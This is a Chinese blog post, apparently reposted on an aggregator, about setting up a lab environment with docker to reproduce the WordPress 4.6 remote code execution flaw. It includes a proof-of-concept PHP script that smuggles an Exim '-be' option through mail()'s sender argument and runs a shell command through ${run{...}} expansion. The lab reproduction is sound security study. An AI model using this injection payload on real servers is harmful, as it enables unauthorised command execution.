IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    wordpress 4.6远程代码执行漏洞环境搭建

    admin发表于 2017-05-04 16:45:17
    love 0

    这篇文章主要是记录下搭建漏洞测试环境的过程,然而从中午开始,断断续续的一直折腾到凌晨,只是搭建了成功了本地能复现的环境,并没有实现远程复现。

    究其原因,主要是固执到一直想用daocloud来搭建测试环境,坑好多,花了太多时间来填坑了,记录下过程。

    docker pull wordpress:4.6-php5.6-apache
    docker pull daocloud.io/library/mysql:5.7
    
    docker run --name some-mysql -e MYSQL_ROOT_PASSWORD=xxxx -e MYSQL_DATABASE=wdpress -d daocloud.io/library/mysql:5.7
    
    #启动1个名称为wordpress的容器,链接了some-mysql容器用来存储数据,并指定了some-mysql容器中有关数据库的一些配置
    docker run --name wordpress --link some-mysql:mysql -p 80:80 -e WORDPRESS_DB_NAME=wdpress -e WORDPRESS_DB_USER=root -e WORDPRESS_DB_PASSWORD=xxxx -d wordpress:4.6-php5.6-apache

    以上环境可以安装成功wordpress,蛋疼的是使用密码重置功能,一直提示mail()函数可能被禁用。主要问题是没有配置sendmail_path的地方.

    apt-get install exim4

    安装exim4之后,还是find不到sendmail,折腾很久之后果断放弃了用daocloud。接着使用了网易蜂巢,直接pull了官方推荐的lamp镜像,运行容器之后,接着安装了exim4,然后发现了如图所示:

    wordpress 4.6远程代码执行漏洞环境搭建 - 第1张  | 阿德马Web安全

    不需要做其它的配置,就可以成功使用wordpress的密码重置功能,接着用php mail()远程代码执行漏洞paper中给出的本地测试脚本,可以成功复现:

     
    <?php                                                                                                
    // RCE via mail() vector on Exim4 MTA                                                                
    // Attacker's cmd is passed on STDIN by mail() within $body                                          
    // Discovered by:                                                                                    
    // Dawid Golunski - @dawid_golunski - https://legalhackers.com                                       
                                                                                                         
            $sender = "nxadmin@anyhost -be";                                                            
            $body   = 'Exec: ${run{/bin/bash -c "/usr/bin/id>/tmp/nxadmin"}{yes}{no}}';                       
            // ^ unfiltered vars, coming from attacker via GET, POST etc.                                
                                                                                                         
            $to = "john@localhost";                                                                      
            $subject = "Exim RCE PoC";                                                                   
            $headers = "From: s1ma@localhost";                                                           
                                                                                                         
            mail($to,$subject,$body,$headers, "-f $sender ");                                            
    ?>

    会创建/tmp/nxadmin文件,其中有/usr/bin/id命令的执行结果,如图:

    wordpress 4.6远程代码执行漏洞环境搭建 - 第2张  | 阿德马Web安全

    本地测试成功了,远程复现的话可能还需要满足SERVER_NAME有关的条件,明天继续!



沪ICP备19023445号-2号
友情链接